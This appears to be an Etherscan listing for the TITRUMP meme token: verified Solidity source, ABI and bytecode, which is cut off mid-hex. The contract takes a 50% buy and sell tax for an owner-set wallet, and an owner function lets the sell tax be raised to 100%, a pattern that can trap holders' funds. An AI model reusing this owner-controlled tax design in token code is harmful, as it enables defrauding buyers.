ETH Price: $3,288.06 (+0.54%)

Token

TimiTrumpet (TITRUMP)
 

Overview

Max Total Supply

100 TITRUMP

Holders

4

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14.179377563 TITRUMP

Value
$0.00
0x7ba0a0EEe1c59d95d8849143871805975D3988eD
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
TimiTrumpet

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
paris EvmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-22
*/

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract TimiTrumpet is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private  _taxWallet;
    address private constant deadAddress = address(0xdead);
    uint256 private constant _initialBuyTax = 50;
    uint256 private constant _initialSellTax = 50;
    uint256 private constant _reduceBuyTaxAt = 50;
    uint256 private constant _reduceSellTaxAt = 50;
    uint256 private constant _preventSwapBefore = 25;
    uint256 private _finalBuyTax = 50;
    uint256 private _finalSellTax = 50;
    uint256 private _buyCount = 0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 100 * 10 ** _decimals;
    string private constant _name = unicode"TimiTrumpet";
    string private constant _symbol = unicode"TITRUMP";
    uint256 public constant _taxSwapThreshold = 100000 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 5000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 1000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000001 * 10 ** _decimals;
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private limitEffect = true;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event FinalTax (uint256 _valueBuy, uint256 _valueSell);
    event Launch (bool _tradingOpen, bool _swapEnabled);
    event maxAmount(uint256 _value);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }
    constructor () {
        _taxWallet = payable(0x7ce00714D01e96e8d6FD3F0Ea149d1fCE5F027E9);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[deadAddress] = true;
        _isExcludedFromFee[address(this)] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "ERC20: approve the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0) && to != address(0), "ERC20: transfer the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;
        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(
                    _isExcludedFromFee[from] || _isExcludedFromFee[to],
                    "trading is not yet open"
                );
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                if (limitEffect) {
                    require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                    require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                }
                _buyCount++;
            }
            if (to == uniswapV2Pair && from != address(this)) {
                taxAmount = amount.mul
                    ((_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax : _initialSellTax).div(100
                );
            } else if (from == uniswapV2Pair && to != address(this)) {
                taxAmount = amount.mul
                    ((_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax : _initialBuyTax).div(100
                );
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
            to == uniswapV2Pair &&
            swapEnabled &&
            contractTokenBalance > _taxSwapThreshold &&
            _buyCount > _preventSwapBefore
            ) {
                uint256 getMin = (contractTokenBalance > _maxTaxSwap) ? _maxTaxSwap : contractTokenBalance;
                uint256 amountToSwap = (amount > getMin) ? getMin : amount;
                swapTokensForEth(amountToSwap);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function setTaxWallet(address payable _newTaxWallet) external onlyOwner {
        _taxWallet = _newTaxWallet;
    }

    function setMaxTaxSwap(uint256 _value) external onlyOwner {
        _maxTaxSwap = _value;
    }

    function airdrop(address[] calldata recipients, uint256[] calldata values) external onlyOwner {
        require(recipients.length == values.length, "Mismatched recipinients and values.");
        for (uint256 i = 0; i < recipients.length; i++) {
            _transfer(_msgSender(), recipients[i], values[i]);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function createPair() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = balanceOf(address(this)).sub(_tTotal.mul(_initialBuyTax).div(100));
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())
            .createPair(address(this), uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance} (
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    function tradeTimiTrumpet() external onlyOwner {
        require(!tradingOpen, "trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit Launch(tradingOpen, swapEnabled);
    }

    function removeLimits() external onlyOwner {
        limitEffect = false;
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit maxAmount(_tTotal);
    }

    function manualSwap() external onlyOwner {
        require(!inSwap && swapEnabled, "Already in swap");
        swapTokensForEth(_maxTaxSwap);
    }

    function reduceTax(uint256 _valueBuy, uint256 _valueSell) external onlyOwner {
        require(_valueBuy <= 100 && _valueSell <= 100 && tradingOpen, "Tax exceeds maximum amount");
        _finalBuyTax = _valueBuy;
        _finalSellTax = _valueSell;
        emit FinalTax(_valueBuy, _valueSell);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"FinalTax","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_tradingOpen","type":"bool"},{"indexed":false,"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"Launch","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"maxAmount","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"recipients","type":"address[]"},{"internalType":"uint256[]","name":"values","type":"uint256[]"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_valueBuy","type":"uint256"},{"internalType":"uint256","name":"_valueSell","type":"uint256"}],"name":"reduceTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"setMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"_newTaxWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"tradeTimiTrumpet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526032600555603260065560006007556009600a62000023919062000648565b624c4b4062000033919062000699565b6008556009600a62000046919062000648565b620f424062000056919062000699565b6009556009600a62000069919062000648565b621e848162000079919062000699565b600a556001600c60156101000a81548160ff0219169083151502179055506000600c60166101000a81548160ff0219169083151502179055506000600c60176101000a81548160ff021916908315150217905550348015620000da57600080fd5b506000620000ed6200047d60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350737ce00714d01e96e8d6fd3f0ea149d1fce5f027e9600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a620001f0919062000648565b6064620001fe919062000699565b60016000620002126200047d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160036000620002666200048560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016003600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620003f36200047d60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000452919062000648565b606462000460919062000699565b6040516200046f9190620006f5565b60405180910390a362000712565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200053c57808604811115620005145762000513620004ae565b5b6001851615620005245780820291505b80810290506200053485620004dd565b9450620004f4565b94509492505050565b6000826200055757600190506200062a565b816200056757600090506200062a565b81600181146200058057600281146200058b57620005c1565b60019150506200062a565b60ff841115620005a0576200059f620004ae565b5b8360020a915084821115620005ba57620005b9620004ae565b5b506200062a565b5060208310610133831016604e8410600b8410161715620005fb5782820a905083811115620005f557620005f4620004ae565b5b6200062a565b6200060a8484846001620004ea565b92509050818404811115620006245762000623620004ae565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620006558262000631565b915062000662836200063b565b9250620006917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000545565b905092915050565b6000620006a68262000631565b9150620006b38362000631565b9250828202620006c38162000631565b91508282048414831517620006dd57620006dc620004ae565b5b5092915050565b620006ef8162000631565b82525050565b60006020820190506200070c6000830184620006e4565b92915050565b61397380620007226000396000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063a9059cbb1161006f578063a9059cbb146103fb578063b9a410ff14610438578063b9d0f1af14610461578063bf474bed1461048a578063dd62ed3e146104b5578063ea414b28146104f25761014b565b8063751039fc146103215780637d1db4a5146103385780638da5cb5b146103635780638f9a55c01461038e57806395d89b41146103b95780639e78fb4f146103e45761014b565b8063313ce56711610108578063313ce5671461024b57806351bc3c8514610276578063672434821461028d57806368385ea1146102b657806370a08231146102cd578063715018a61461030a5761014b565b806306fdde0314610150578063095ea7b31461017b5780630faee56f146101b857806318160ddd146101e357806323b872dd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561051b565b6040516101729190612764565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d9190612824565b610558565b6040516101af919061287f565b60405180910390f35b3480156101c457600080fd5b506101cd610576565b6040516101da91906128a9565b60405180910390f35b3480156101ef57600080fd5b506101f861057c565b60405161020591906128a9565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906128c4565b61059d565b604051610242919061287f565b60405180910390f35b34801561025757600080fd5b50610260610676565b60405161026d9190612933565b60405180910390f35b34801561028257600080fd5b5061028b61067f565b005b34801561029957600080fd5b506102b460048036038101906102af9190612a09565b610789565b005b3480156102c257600080fd5b506102cb6108e0565b005b3480156102d957600080fd5b506102f460048036038101906102ef9190612a8a565b610a54565b60405161030191906128a9565b60405180910390f35b34801561031657600080fd5b5061031f610a9d565b005b34801561032d57600080fd5b50610336610bf0565b005b34801561034457600080fd5b5061034d610d32565b60405161035a91906128a9565b60405180910390f35b34801561036f57600080fd5b50610378610d38565b6040516103859190612ac6565b60405180910390f35b34801561039a57600080fd5b506103a3610d61565b6040516103b091906128a9565b60405180910390f35b3480156103c557600080fd5b506103ce610d67565b6040516103db9190612764565b60405180910390f35b3480156103f057600080fd5b506103f9610da4565b005b34801561040757600080fd5b50610422600480360381019061041d9190612824565b6112fa565b60405161042f919061287f565b60405180910390f35b34801561044457600080fd5b5061045f600480360381019061045a9190612ae1565b611318565b005b34801561046d57600080fd5b5061048860048036038101906104839190612b21565b611461565b005b34801561049657600080fd5b5061049f611500565b6040516104ac91906128a9565b60405180910390f35b3480156104c157600080fd5b506104dc60048036038101906104d79190612b4e565b61151f565b6040516104e991906128a9565b60405180910390f35b3480156104fe57600080fd5b5061051960048036038101906105149190612bcc565b6115a6565b005b60606040518060400160405280600b81526020017f54696d695472756d706574000000000000000000000000000000000000000000815250905090565b600061056c61056561167f565b8484611687565b6001905092915050565b60085481565b60006009600a61058c9190612d5b565b60646105989190612da6565b905090565b60006105aa84848461181b565b61066b846105b661167f565b6106668560405180606001604052806028815260200161391660289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061061c61167f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bc9092919063ffffffff16565b611687565b600190509392505050565b60006009905090565b61068761167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610714576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070b90612e34565b60405180910390fd5b600c60169054906101000a900460ff1615801561073d5750600c60179054906101000a900460ff165b61077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390612ea0565b60405180910390fd5b610787600854612220565b565b61079161167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081590612e34565b60405180910390fd5b818190508484905014610866576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085d90612f32565b60405180910390fd5b60005b848490508110156108d9576108c661087f61167f565b86868481811061089257610891612f52565b5b90506020020160208101906108a79190612a8a565b8585858181106108ba576108b9612f52565b5b9050602002013561181b565b80806108d190612f81565b915050610869565b5050505050565b6108e861167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610975576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096c90612e34565b60405180910390fd5b600c60149054906101000a900460ff16156109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc90613015565b60405180910390fd5b6001600c60176101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055507f029ed388f3dd39b342f312d7b12cba9e3065871bf0fb668cc5457f217b15dd7c600c60149054906101000a900460ff16600c60179054906101000a900460ff16604051610a4a929190613035565b60405180910390a1565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610aa561167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2990612e34565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610bf861167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c85576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7c90612e34565b60405180910390fd5b6000600c60156101000a81548160ff0219169083151502179055506009600a610cae9190612d5b565b6064610cba9190612da6565b6009819055506009600a610cce9190612d5b565b6064610cda9190612da6565b600a819055507f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96009600a610d0f9190612d5b565b6064610d1b9190612da6565b604051610d2891906128a9565b60405180910390a1565b60095481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600a5481565b60606040518060400160405280600781526020017f54495452554d5000000000000000000000000000000000000000000000000000815250905090565b610dac61167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3090612e34565b60405180910390fd5b600c60149054906101000a900460ff1615610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e80906130aa565b60405180910390fd5b6000610ee5610ece6064610ec060326009600a610ea69190612d5b565b6064610eb29190612da6565b61249990919063ffffffff16565b61251390919063ffffffff16565b610ed730610a54565b61255d90919063ffffffff16565b9050737a250d5630b4cf539739df2c5dacb4c659f2488d600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8230600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f719190612d5b565b6064610f7d9190612da6565b611687565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fef573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101391906130df565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561109c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c091906130df565b6040518363ffffffff1660e01b81526004016110dd92919061310c565b6020604051808303816000875af11580156110fc573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112091906130df565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730846000806111ac61167f565b426040518863ffffffff1660e01b81526004016111ce9695949392919061317a565b60606040518083038185885af11580156111ec573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061121191906131f0565b505050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112b3929190613243565b6020604051808303816000875af11580156112d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112f69190613298565b5050565b600061130e61130761167f565b848461181b565b6001905092915050565b61132061167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113a490612e34565b60405180910390fd5b606482111580156113bf575060648111155b80156113d75750600c60149054906101000a900460ff165b611416576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140d90613311565b60405180910390fd5b81600581905550806006819055507f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f48282604051611455929190613331565b60405180910390a15050565b61146961167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ed90612e34565b60405180910390fd5b8060088190555050565b6009600a61150e9190612d5b565b620186a061151c9190612da6565b81565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6115ae61167f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461163b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163290612e34565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116f15750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611730576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611727906133a6565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180e91906128a9565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118855750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6118c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118bb90613412565b60405180910390fd5b60008111611907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fe906134a4565b60405180910390fd5b6000611911610d38565b73fffffffffffffffffffffffffffff